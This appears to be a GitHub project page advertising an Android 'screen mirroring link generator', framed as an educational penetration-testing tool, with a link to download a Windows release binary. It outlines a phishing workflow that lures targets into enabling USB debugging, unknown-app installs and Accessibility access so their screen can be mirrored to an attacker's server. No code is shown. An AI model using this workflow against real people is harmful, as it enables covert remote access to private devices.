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https://github.com/crypt0hole/Android-mirroring-Link-Generator-for-educational-purposes- Android Screen Mirroring Link Generator (For Educational & Penetration Testing Purposes) Overview: This is a specialized penetration testing tool designed to simulate a common social engineering attack vector. The tool generates a seemingly legitimate link that, when clicked by a target user, attempts to establish a remote screen mirroring session from their Android device to an attacker-controlled server. Its primary purpose is to educate security professionals and assess the human and technical vulnerabilities within an organization's mobile security posture. Core Educational & Testing Objectives: Social Engineering Assessment: To test employee awareness and susceptibility to phishing campaigns that lure users with offers of "support," "updates," or "new features" requiring screen sharing. Security Control Validation: To evaluate the effectiveness of endpoint detection, mobile security software, and network filtering solutions in identifying and blocking unauthorized remote access attempts. Policy Compliance Testing: To verify if users adhere to security policies against installing untrusted applications or enabling risky permissions like Accessibility Services or Draw Over Other Apps. Incident Response Training: To provide a safe, controlled scenario for training blue teams and incident responders on detecting and mitigating live mobile threats. Key Features (Simulated Attack Workflow): Persuasive Payload Generation: Creates a unique, trackable link and a simple, convincing narrative to encourage the target user to click it. Instruction Servicing: Hosts or points to a set of step-by-step instructions that guide the user through enabling the necessary permissions (e.g., "Install unknown apps," "Enable USB Debugging," "Grant Accessibility access"). Connection Handshake: Attempts to establish a connection with a listening server (e.g., using protocols like scrcpy or ADB over network) once the user follows the instructions. Post-Connection Analysis: Provides the tester with connection logs, success/failure rates, and timing data for analysis. Download & Installation (WIN_AMD64): https://github.com/crypt0hole/Android-mirroring-Link-Generator-for-educational-purposes-/releases/tag/d33pLnk
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